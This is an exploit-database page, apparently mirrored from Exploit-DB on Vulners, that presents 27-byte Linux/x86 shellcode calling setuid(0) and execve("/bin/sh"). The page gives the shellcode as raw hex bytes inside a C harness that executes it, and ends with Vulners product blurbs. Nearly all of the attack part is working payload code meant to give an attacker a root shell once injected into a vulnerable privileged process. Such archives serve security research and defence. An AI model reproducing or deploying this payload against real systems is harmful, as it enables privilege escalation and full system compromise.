Lucene search
K

Linux/x86 - setuid(0) + execve(/bin/sh, 0, 0) Shellcode (27 bytes)

🗓️ 01 Jan 2009 00:00:00Reported by Exploit-DBType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 22 Views

Linux/x86 setuid(0) execve("/bin/sh") Shellcode (27 bytes

Code
#include <stdio.h>
#include <string.h>

/*
	by Magnefikko
	24.04.2010
	[email protected]
	Promhyl Studies :: http://promhyl.oz.pl
	Subgroup: #PRekambr
	Name: 27 bytes setuid(0) ^ execve("/bin/sh", 0, 0) shellcode
	Platform: Linux x86
	
	setuid(0);
	execve("/bin/sh", 0, 0);	

	gcc -Wl,-z,execstack filename.c

	shellcode:

\x6a\x17\x58\x31\xdb\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80

*/


int main(){
	char shell[] ="\x6a\x17\x58\x31\xdb\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80";
	printf("by Magnefikko\[email protected]\npromhyl.oz.pl\n\nstrlen(shell)= %d\n", strlen(shell));
	(*(void (*)()) shell)();
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jan 2009 00:00Current
7.1High risk
Vulners AI Score7.1
22